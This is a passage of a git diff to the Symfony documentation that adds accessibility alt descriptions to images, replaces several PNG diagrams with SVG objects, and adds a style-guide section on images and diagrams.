+    :alt: Each letter in "hello" is made up of one byte, one code point and one grapheme cluster. In the Hindi translation, the first two letters ("नम") take up three bytes, one code point and one grapheme cluster. The last letters ("स्ते") each take up six bytes, two code points and one grapheme cluster.
 
 Usage
 -----
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index e8a4d18d0c7..2e6a337131b 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -354,6 +354,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/01-simple.png
+    :alt: Dump output showing the array with length five and all keys and values.
 
 .. note::
 
@@ -371,6 +372,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/02-multi-line-str.png
+    :alt: Dump output showing the string on multiple lines in between three quotes.
 
 .. code-block:: php
 
@@ -385,6 +387,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/03-object.png
+    :alt: Dump output showing the PropertyExample object and all three properties with their values.
 
 .. note::
 
@@ -403,6 +406,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/04-dynamic-property.png
+    :alt: Dump output showing the DynamicPropertyExample object and both declared and undeclared properties with their values.
 
 .. code-block:: php
 
@@ -415,6 +419,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/05-soft-ref.png
+    :alt: Dump output showing the "aCircularReference" property value referencing the parent object, instead of showing all properties again.
 
 .. code-block:: php
 
@@ -428,6 +433,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/06-constants.png
+    :alt: Dump output with the "E_WARNING" constant shown as value of "severity".
 
 .. code-block:: php
 
@@ -441,6 +447,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/07-hard-ref.png
+    :alt: Dump output showing the referenced arrays.
 
 .. code-block:: php
 
@@ -451,6 +458,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/08-virtual-property.png
+    :alt: Dump output of the ArrayObject.
 
 .. code-block:: php
 
@@ -464,6 +472,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/09-cut.png
+    :alt: Dump output where the children of the Container object are hidden.
 
 .. _var-dumper-advanced:
 
diff --git a/components/workflow.rst b/components/workflow.rst
index 77a648a2e0f..3821a2e9fa8 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -22,6 +22,7 @@ process is called a *place*. You do also define *transitions* that describe
 the action to get from one place to another.
 
 .. image:: /_images/components/workflow/states_transitions.png
+    :alt: An example state diagram for a workflow, showing transitions and places.
 
 A set of places and transitions creates a **definition**. A workflow needs
 a ``Definition`` and a way to write the states to the objects (i.e. an
diff --git a/console.rst b/console.rst
index cbe1c3816f1..045091d7c50 100644
--- a/console.rst
+++ b/console.rst
@@ -77,6 +77,7 @@ commands support name and option completion, and some can even complete
 values.
 
 .. image:: /_images/components/console/completion.gif
+    :alt: The terminal completes the command name "secrets:remove" and the argument "SOME_OTHER_SECRET".
 
 First, make sure you installed and setup the "bash completion" package for
 your OS (typically named ``bash-completion``). Then, install the Symfony
diff --git a/contributing/code/stack_trace.rst b/contributing/code/stack_trace.rst
index cd672e05a2a..6fd6987d4e3 100644
--- a/contributing/code/stack_trace.rst
+++ b/contributing/code/stack_trace.rst
@@ -91,8 +91,8 @@ Several things need to be paid attention to when picking a stack trace
 from your development environment through a web browser:
 
 1. Are there several exceptions? If yes, the most interesting one is
-   often exception 1/n which, is shown *last* in the example below (it
-   is the one marked as an exception [1/2]).
+   often exception 1/n which, is shown *last* in the default exception page
+   (it is the one marked as ``exception [1/2]`` in the below example).
 2. Under the "Stack Traces" tab, you will find exceptions in plain
    text, so that you can easily share them in e.g. bug reports. Make
    sure to **remove any sensitive information** before doing so.
@@ -102,8 +102,8 @@ from your development environment through a web browser:
    are getting, but are not what the term "stack trace" refers to.
 
 .. image:: /_images/contributing/code/stack-trace.gif
-   :align: center
-   :class: with-browser
+    :alt: The default Symfony exception page with the "Exceptions", "Logs" and "Stack Traces" tabs.
+    :class: with-browser
 
 Since stack traces may contain sensitive data, they should not be
 exposed in production. Getting a stack trace from your production
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 2ea1054eb7b..90e2a109419 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -25,8 +25,8 @@ while you're reading the Symfony documentation.
 and you'll be redirected to GitHub:
 
 .. image:: /_images/contributing/docs-github-edit-page.png
-   :align: center
-   :class: with-browser
+    :alt: The "Edit this page" button is located directly below the first heading.
+    :class: with-browser
 
 **Step 2.** Edit the contents, describe your changes and click on the
 **Propose file change** button.
@@ -36,8 +36,8 @@ and you'll be redirected to GitHub:
 also display a preview of your changes:
 
 .. image:: /_images/contributing/docs-github-create-pr.png
-   :align: center
-   :class: with-browser
+    :alt: The "Comparing changes" page on GitHub.
+    :class: with-browser
 
 If everything is correct, click on the **Create pull request** button.
 
@@ -152,7 +152,7 @@ exact changes that you want to propose, select the appropriate branches where
 changes should be applied:
 
 .. image:: /_images/contributing/docs-pull-request-change-base.png
-   :align: center
+    :alt: The base branch select option on the GitHub page.
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
 the **base** branch should be the ``5.4``, which is the branch that you selected
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 2bdd816af49..05ac4400035 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -146,6 +146,36 @@ Files and Directories
       ├─ vendor/
       └─ ...
 
+Images and Diagrams
+-------------------
+
+* **Diagrams** must adhere to the Symfony docs style. These are created
+  using the Dia_ application, to make sure everyone can edit them. See the
+  `README on GitHub`_ for instructions on how to create them.
+* All images and diagrams must contain **alt descriptions**:
+
+  * Keep the descriptions concise, do not duplicate information surrounding
+    the figure;
+  * Describe complex diagrams in text surrounding the diagram instead of
+    the alt description. In these cases, alt descriptions must describe
+    where the longer description can be found (e.g. "These elements are
+    described further in the next sections");
+  * Start descriptions with a capital letter and end with a period;
+  * Do not start with "A screenshot of", "Diagram of", etc. except when
+    it's useful to know the exact type (e.g. a specific diagram type).
+
+.. code-block:: text
+
+    .. image:: _images/example-screenshot.png
+        :alt: Some concise description of the screenshot.
+
+    .. raw:: html
+
+        <object data="_images/example-diagram.svg" type="image/svg+xml"
+            alt="Some concise description."
+        ></object>
+
+
 English Language Standards
 --------------------------
 
@@ -201,4 +231,6 @@ In addition, documentation follows these rules:
 .. _`American English Oxford Dictionary`: https://www.lexico.com/definition/american_english
 .. _`headings and titles`: https://en.wikipedia.org/wiki/Letter_case#Headings_and_publication_titles
 .. _`Serial (Oxford) Commas`: https://en.wikipedia.org/wiki/Serial_comma
+.. _`Dia`: http://dia-installer.de/
+.. _`README on GitHub`: https://github.com/symfony/symfony-docs/blob/6.4/_images/sources/README.md
 .. _`nosism`: https://en.wikipedia.org/wiki/Nosism
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 56f8e60a408..8424702c19d 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -10,18 +10,16 @@ Symfony catches all the exceptions and displays a special **exception page**
 with lots of debug information to help you discover the root problem:
 
 .. image:: /_images/controller/error_pages/exceptions-in-dev-environment.png
-   :alt: A typical exception page in the development environment
-   :align: center
-   :class: with-browser
+    :alt: A typical exception page in the development environment with the full stacktrace and log information.
+    :class: with-browser
 
 Since these pages contain a lot of sensitive internal information, Symfony won't
 display them in the production environment. Instead, it'll show a minimal and
 generic **error page**:
 
 .. image:: /_images/controller/error_pages/errors-in-prod-environment.png
-   :alt: A typical error page in the production environment
-   :align: center
-   :class: with-browser
+    :alt: A typical error page in the production environment.
+    :class: with-browser
 
 Error pages for the production environment can be customized in different ways
 depending on your needs:
diff --git a/doctrine.rst b/doctrine.rst
index d5cff272241..b7cfdae01b8 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -185,8 +185,11 @@ objects to a ``product`` table in your database. Each property in the ``Product`
 entity can be mapped to a column in that table. This is usually done with attributes:
 the ``#[ORM\Column(...)]`` comments that you see above each property:
 
-.. image:: /_images/doctrine/mapping_single_entity.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
+        alt="Doctrine mapping between properties of a Product PHP object and the data in the product database table"
+    ></object>
 
 The ``make:entity`` command is a tool to make life easier. But this is *your* code:
 add/remove fields, add/remove methods or update configuration.
@@ -586,8 +589,8 @@ the :ref:`doctrine-queries` section.
     will display the number of queries and the time it took to execute them:
 
     .. image:: /_images/doctrine/doctrine_web_debug_toolbar.png
-       :align: center
-       :class: with-browser
+        :alt: The web dev toolbar showing the Doctrine item.
+        :class: with-browser
 
     If the number of database queries is too high, the icon will turn yellow to
     indicate that something may not be correct. Click on the icon to open the
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 0aea5cf2d58..1d5e55d5524 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -409,8 +409,11 @@ When you go to ``/product``, a single row is added to both the ``category`` and
 to whatever the ``id`` is of the new category. Doctrine manages the persistence of this
 relationship for you:
 
-.. image:: /_images/doctrine/mapping_relations.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/doctrine/mapping_relations.svg" type="image/svg+xml"
+        alt="Doctrine mapping associated Product and Category entities to a product and category database table"
+    ></object>
 
 If you're new to an ORM, this is the *hardest* concept: you need to stop thinking
 about your database, and instead *only* think about your objects. Instead of setting
@@ -456,8 +459,11 @@ Doctrine silently makes a second query to find the ``Category`` that's related
 to this ``Product``. It prepares the ``$category`` object and returns it to
 you.
 
-.. image:: /_images/doctrine/mapping_relations_proxy.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
+        alt="Doctrine only querying Category data when needed"
+    ></object>
 
 What's important is the fact that you have access to the product's related
 category, but the category data isn't actually retrieved until you ask for
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index cfd8a872a0d..ccb90a04377 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -94,7 +94,9 @@ following set of fields as the "postal address":
 
 .. raw:: html
 
-    <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
+        alt="A wireframe of the custom field type, showing five text inputs: two address lines, the City, the State and the ZIP code."
+    ></object>
 
 As explained above, form types are PHP classes that implement
 :class:`Symfony\\Component\\Form\\FormTypeInterface`, although it's more
@@ -429,12 +431,23 @@ second part of the Twig block name (e.g. ``_row``) defines which form type part
 is being rendered (row, widget, help, errors, etc.)
 
 The article about form themes explains the
-:ref:`form fragment naming rules <form-fragment-naming>` in detail. The
-following diagram shows some of the Twig block names defined in this example:
+:ref:`form fragment naming rules <form-fragment-naming>` in detail. These
+are some examples of Twig block names for the postal address type:
 
 .. raw:: html
 
-    <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
+        alt="The wireframe with some block names highlighted, these are also listed below the image."
+    ></object>
+
+``postal_address_row``
+    The full form type block.
+``postal_address_addressLine1_help``
+    The help message block below the first address line.
+``postal_address_state_widget``
+    The text input widget for the State field.
+``postal_address_zipCode_label``
+    The label block of the ZIP Code field.
 
 .. caution::
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 005413ef992..56a08d71132 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -440,8 +440,11 @@ In the above example, the transformer was used as a "model" transformer.
 In fact, there are two different types of transformers and three different
 types of underlying data.
 
-.. image:: /_images/form/data-transformer-types.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/form/data-transformer-types.svg" type="image/svg+xml"
+        alt="Flow diagram with the Model transformer between Model and Norm data, and the View transformer between Norm and View data. This is described in detail below the diagram."
+    ></object>
 
 In any form, the three different types of data are:
 
@@ -481,7 +484,7 @@ To use the view transformer, call ``addViewTransformer()``.
     data. So your model transformer cannot reduce the number of items within the
     Collection (i.e. filtering out some items), as in that case the collection
     ends up with some empty children.
-    
+
     A possible workaround for that limitation could be not using the underlying
     object directly, but a DTO (Data Transfer Object) instead, that implements
     the transformation of such incompatible data structures.
diff --git a/form/events.rst b/form/events.rst
index 37c3918d67d..40b530b88f2 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -29,16 +29,28 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows::
 The Form Workflow
 -----------------
 
+In the lifecycle of a form, there are two moments where the form data can
+be updated:
+
+1. During **pre-population** (``setData()``) when building the form;
+2. When handling **form submission** (``handleRequest()``) to update the
+   form data based on the values the user entered.
+
 .. raw:: html
 
-    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"
+        alt="A generic flow diagram showing the two phases. These are
+        described in the next subsections."
+    ></object>
 
 1) Pre-populating the Form (``FormEvents::PRE_SET_DATA`` and ``FormEvents::POST_SET_DATA``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. raw:: html
 
-    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing the two events that are dispatched during pre-population."
+    ></object>
 
 Two events are dispatched during pre-population of a form, when
 :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
@@ -111,7 +123,9 @@ View data        Normalized data transformed using a view transformer
 
 .. raw:: html
 
-    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing the three events that are dispatched when handling form submissions."
+    ></object>
 
 Three events are dispatched when
 :method:`Form::handleRequest() <Symfony\\Component\\Form\\Form::handleRequest>`
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 26ec9e38c7f..005e0eac461 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -51,10 +51,12 @@ customized using other Twig functions, as illustrated in the following diagram:
 
 .. raw:: html
 
-    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
+        alt="Wireframe showing all functions in a form row, which are mentioned directly below."
+    ></object>
 
 The :ref:`form_label() <reference-forms-twig-label>`,
-:ref:`form_widget() <reference-forms-twig-widget>`,
+:ref:`form_widget() <reference-forms-twig-widget>` (the HTML input),
 :ref:`form_help() <reference-forms-twig-help>` and
 :ref:`form_errors() <reference-forms-twig-errors>` Twig functions give you total
 control over how each form field is rendered, so you can fully customize them:
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 2f3a1a403ea..5f462ce4bbb 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -247,7 +247,9 @@ In both cases, the ``field-part`` can be any of these valid form field parts:
 
 .. raw:: html
 
-    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
+        alt="A wireframe showing all form field parts: form_row, form_label, form_widget, form_help and form_errors."
+    ></object>
 
 Fragment Naming for All Fields of the Same Type
 ...............................................
diff --git a/form/tailwindcss.rst b/form/tailwindcss.rst
index 52f4eb857d9..0a92bcd1ebc 100644
--- a/form/tailwindcss.rst
+++ b/form/tailwindcss.rst
@@ -9,7 +9,7 @@ classes so out of the box, your forms will look decent. Customization is almost
 going to be required so this theme makes that easy.
 
 .. image:: /_images/form/tailwindcss-form.png
-   :align: center
+    :alt: An HTML form showing a range of form types styled using TailwindCSS.
 
 To use, first be sure you have installed and integrated `Tailwind CSS`_ and the
 `form plugin`_. Follow their respective documentation to install both packages.
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 5affeaa5f99..7386f629546 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -657,7 +657,9 @@ It's a beautiful thing.
 
 .. raw:: html
 
-    <object data="../_images/http/request-flow.svg" type="image/svg+xml"></object>
+    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
+        alt="A flow diagram visualizing the previously described process from front controller to response."
+    ></object>
 
 Where Symfony Delivers
 ----------------------
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 802429b5253..fceb6a4a13d 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -17,8 +17,11 @@ HTTP (Hypertext Transfer Protocol) is a text language that allows two machines
 to communicate with each other. For example, when checking for the latest
 `xkcd`_ comic, the following (approximate) conversation takes place:
 
-.. image:: /_images/http/xkcd-full.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
+        alt="A sequence diagram showing the browser sending &quot;Can I see today's comic?&quot; to the xkcd server. The server prepares the page's HTML and sents it back to the browser."
+    ></object>
 
 HTTP is the term used to describe this text-based language. The goal of
 your server is *always* to understand text requests and return text responses.
@@ -38,8 +41,11 @@ and then waits for the response.
 Take a look at the first part of the interaction (the request) between a
 browser and the xkcd web server:
 
-.. image:: /_images/http/xkcd-request.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/http/xkcd-request.svg" type="image/svg+xml"
+        alt="A sequence diagram showing the request from browser to the xkcd server."
+    ></object>
 
 In HTTP-speak, this HTTP request would actually look something like this:
 
@@ -100,8 +106,11 @@ client needs (via the URI) and what the client wants to do with that resource
 prepares the resource and returns it in an HTTP response. Consider the response
 from the xkcd web server:
 
-.. image:: /_images/http/xkcd-full.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
+        alt="The full sequence diagram with the xkcd server sending the page's HTML back to the browser."
+    ></object>
 
 Translated into HTTP, the response sent back to the browser will look something
 like this:
@@ -346,7 +355,9 @@ to do:
 
 .. raw:: html
 
-    <object data="../_images/http/request-flow.svg" type="image/svg+xml"></object>
+    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
+        alt="A flow diagram visualizing the request-response flow. Each step is written out in text in the next section."
+    ></object>
 
 Incoming requests are interpreted by the :doc:`Routing component </routing>` and
 passed to PHP functions that return ``Response`` objects.
diff --git a/mercure.rst b/mercure.rst
index a627cdee92d..b26e2ee9294 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -67,7 +67,11 @@ you must start it with the ``--no-tls`` option.
 Running a Mercure Hub
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/mercure/schema.png
+.. raw:: html
+
+    <object data="../_images/mercure/hub.svg" type="image/svg+xml"
+        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
+    ></object>
 
 If you use the Docker integration, a hub is already up and running,
 and you can go straight to the next section.
@@ -309,6 +313,7 @@ as patterns:
     the received events:
 
     .. image:: /_images/mercure/chrome.png
+        :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
 
     To use it:
 
@@ -328,7 +333,11 @@ The Mercure protocol comes with a discovery mechanism.
 To leverage it, the Symfony application must expose the URL of the Mercure Hub
 in a ``Link`` HTTP header.
 
-.. image:: /_images/mercure/discovery.png
+.. raw:: html
+
+    <object data="../_images/mercure/discovery.svg" type="image/svg+xml"
+        alt="Flow diagram showing the Link response header set by the Symfony app to respond to an API request for a book with ID 1."
+    ></object>
 
 You can create ``Link`` headers with the ``Discovery`` helper class
 (under the hood, it uses the :doc:`WebLink Component </web_link>`)::
@@ -693,6 +702,8 @@ enable it::
     $ composer require --dev symfony/debug-pack
 
 .. image:: /_images/mercure/panel.png
+    :alt: The Mercure panel of the Symfony Profiler, showing information like time, memory, topics and data of each message sent by Mercure.
+    :class: with-browser
 
 Async dispatching
 -----------------
diff --git a/profiler.rst b/profiler.rst
index ed89cfe7a08..bc564efcbba 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -25,8 +25,8 @@ toolbar injected at the bottom of your pages to open the web interface of the
 Symfony Profiler, which will look like this:
 
 .. image:: /_images/profiler/web-interface.png
-   :align: center
-   :class: with-browser
+    :alt: The Symfony Web profiler page.
+    :class: with-browser
 
 .. note::
 
@@ -199,13 +199,13 @@ event::
     use Symfony\Component\HttpKernel\KernelInterface;
 
     // ...
-    
+
     class MySubscriber implements EventSubscriberInterface
     {
         public function __construct(private KernelInterface $kernel)
         {
         }
-        
+
         // ...
 
         public function onKernelResponse(ResponseEvent $event)
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 7905a6fcbe0..3c3c4e41bf6 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -52,8 +52,8 @@ it as follows:
 Try your new app by going to ``http://localhost:8000`` in a browser!
 
 .. image:: /_images/quick_tour/no_routes_page.png
-   :align: center
-   :class: with-browser
+    :alt: The default Symfony welcome page.
+    :class: with-browser
 
 Fundamentals: Route, Controller, Response
 -----------------------------------------
diff --git a/rate_limiter.rst b/rate_limiter.rst
index cbf960f5f9a..03d0c77e3d2 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -45,7 +45,9 @@ squares).
 
 .. raw:: html
 
-    <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"
+        alt="A timeline showing fixed windows that accept a maximum of 5 hits."
+    ></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
 it can overload the server at the window edges. In this example,
@@ -66,7 +68,9 @@ using a 1 hour window that slides over the timeline:
 
 .. raw:: html
 
-    <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml"
+        alt="The same timeline with a sliding window that accepts only 5 hits in the previous hour."
+    ></object>
 
 As you can see, this removes the edges of the window and would prevent the
 6th request at 11:45.
@@ -89,18 +93,20 @@ Token Bucket Rate Limiter
 This technique implements the `token bucket algorithm`_, which defines
 continuously updating the budget of resource usage. It roughly works like this:
 
-* A bucket is created with an initial set of tokens;
-* A new token is added to the bucket with a predefined frequency (e.g. every second);
-* Allowing an event consumes one or more tokens;
-* If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
-* If the bucket is at full capacity, new tokens are discarded.
+#. A bucket is created with an initial set of tokens;
+#. A new token is added to the bucket with a predefined frequency (e.g. every second);
+#. Allowing an event consumes one or more tokens;
+#. If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
+#. If the bucket is at full capacity, new tokens are discarded.
 
 The below diagram shows a token bucket of size 4 that is filled with a rate
 of 1 token per 15 minutes:
 
 .. raw:: html
 
-    <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"
+        alt="A timeline showing the token bucket over time, as described in this section."
+    ></object>
 
 This algorithm handles more complex back-off burst management.
 For instance, it can allow a user to try a password 5 times and then only
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index beb3f27d08f..77a6495a2ab 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -41,7 +41,7 @@ end users and the array values are the internal values used in the form field::
 This will create a ``select`` drop-down like this:
 
 .. image:: /_images/reference/form/choice-example1.png
-   :align: center
+    :alt: A choice list form input with the options "Maybe", "Yes" and "No".
 
 If the user selects ``No``, the form will return ``false`` for this field. Similarly,
 if the starting data for this field is ``true``, then ``Yes`` will be auto-selected.
@@ -137,7 +137,7 @@ by passing a multi-dimensional ``choices`` array::
     ]);
 
 .. image:: /_images/reference/form/choice-example4.png
-   :align: center
+    :alt: A choice list with the options "Yes" and "No" grouped under "Main Statuses" and the options "Backordered" and "Discontinued" under "Out of Stock Statuses".
 
 To get fancier, use the `group_by`_ option instead.
 
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 0acb25f67b9..d2b263422ee 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -39,7 +39,7 @@ This method is called for *each* choice, passing you the ``$choice`` and
 This will give you:
 
 .. image:: /_images/reference/form/choice-example2.png
-   :align: center
+    :alt: A choice list with the options "Definitely!", "NO" and "MAYBE".
 
 If your choice values are objects, then ``choice_label`` can also be a
 :ref:`property path <reference-form-option-property-path>`. Imagine you have some
diff --git a/reference/forms/types/options/group_by.rst.inc b/reference/forms/types/options/group_by.rst.inc
index ca747683662..161be9140ee 100644
--- a/reference/forms/types/options/group_by.rst.inc
+++ b/reference/forms/types/options/group_by.rst.inc
@@ -35,7 +35,7 @@ This groups the dates that are within 3 days into "Soon" and everything else int
 a "Later" ``<optgroup>``:
 
 .. image:: /_images/reference/form/choice-example5.png
-   :align: center
+    :alt: A choice list with "now" and "tomorrow" grouped under "Soon", and "1 week" and "1 month" grouped under "Later".
 
 If you return ``null``, the option won't be grouped. You can also pass a string
 "property path" that will be called to get the group. See the `choice_label`_ for
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index 8cb1278136d..0a4457d0313 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -42,7 +42,7 @@ be especially useful if your values are objects::
 This will "prefer" the "now" and "tomorrow" choices only:
 
 .. image:: /_images/reference/form/choice-example3.png
-   :align: center
+    :alt: A choice list with "now" and "tomorrow" on top, separated by a line from "1 week" and "1 month".
 
 Finally, if your values are objects, you can also specify a property path string
 on the object that will return true or false.
diff --git a/security.rst b/security.rst
index 5b38acb53ea..8f46ed7fc70 100644
--- a/security.rst
+++ b/security.rst
@@ -590,7 +590,7 @@ website. If you visit your homepage right now, you *will* have access and
 you'll see that you're visiting a page behind the firewall in the toolbar:
 
 .. image:: /_images/security/anonymous_wdt.png
-   :align: center
+   :alt: The Symfony profiler toolbar where the Security information shows "Authenticated: no" and "Firewall name: main"
 
 Visiting a URL under a firewall doesn't necessarily require you to be authenticated
 (e.g. the login form has to be accessible or some parts of your application
@@ -2603,7 +2603,9 @@ Authentication Events
 
 .. raw:: html
 
-    <object data="./_images/security/security_events.svg" type="image/svg+xml"></object>
+    <object data="../_images/security/security_events.svg" type="image/svg+xml"
+        alt="A flow diagram showing the authentication events that are described in this section in a request-response cycle."
+    ></object>
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent`
     Dispatched after the authenticator created the :ref:`security passport <security-passport>`.
diff --git a/security/login_link.rst b/security/login_link.rst
index 4dea64c7662..1fd1abf56b6 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -301,6 +301,7 @@ This will send an email like this to the user:
 
 .. image:: /_images/security/login_link_email.png
    :align: center
+   :alt: A default Symfony e-mail containing the text "Click on the button below to confirm you want to sign in" and the button with the login link.
 
 .. tip::
 
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 19b6cb44a7b..ec3103f3ba9 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -217,6 +217,7 @@ After logging in, you can use the security profiler to see if this badge is
 present:
 
 .. image:: /_images/security/profiler-badges.png
+    :alt: The Security page of the Symfony profiler, with the "Authenticators" tab showing the remember me badge in the passport object.
 
 Without this badge, remember me will be not be activated (regardless of all
 other settings).
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index ed81d4e21d7..d59006d53ec 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -40,8 +40,8 @@ using a deprecated feature. When visiting your application in the
 in your browser, these notices are shown in the web dev toolbar:
 
 .. image:: /_images/install/deprecations-in-profiler.png
-   :align: center
-   :class: with-browser
+    :alt: The Logs page of the Symfony Profiler showing the deprecation notices.
+    :class: with-browser
 
 Ultimately, you should aim to stop using the deprecated functionality.
 Sometimes the warning might tell you exactly what to change.
diff --git a/translation.rst b/translation.rst
index 6ea797c27f9..402790b2026 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1300,16 +1300,17 @@ Pseudo-localization translator
 
     The pseudolocalization translator is meant to be used for development only.
 
-The following image shows the main menu of the interface of a popular Internet
-service:
+The following image shows a typical menu on a webpage:
 
 .. image:: /_images/translation/pseudolocalization-interface-original.png
+    :alt: A menu showing multiple items nicely aligned next to eachother.
 
 This other image shows the same menu when the user switches the language to
 Spanish. Unexpectedly, some text is cut and other contents are so long that
 they overflow and you can't see them:
 
 .. image:: /_images/translation/pseudolocalization-interface-translated.png
+    :alt: In Spanish, some menu items contain more letters which result in them being cut.
 
 These kind of errors are very common, because different languages can be longer
 or shorter than the original application language. Another common issue is to
@@ -1414,10 +1415,14 @@ readable, contents to help you internationalize it. See for example the
 difference in the `Symfony Demo`_ application. This is the original page:
 
 .. image:: /_images/translation/pseudolocalization-symfony-demo-disabled.png
+    :alt: The Symfony demo login page.
+    :class: with-browser
 
 And this is the same page with pseudolocalization enabled:
 
 .. image:: /_images/translation/pseudolocalization-symfony-demo-enabled.png
+    :alt: The Symfony demo login page with pseudolocalization.
+    :class: with-browser
 
 Summary
 -------
diff --git a/workflow.rst b/workflow.rst
index 02abd4da037..00a4b91e1e7 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -33,6 +33,7 @@ step or stage in the process is called a *place*. You also define *transitions*,
 which describe the action needed to get from one place to another.
 
 .. image:: /_images/components/workflow/states_transitions.png
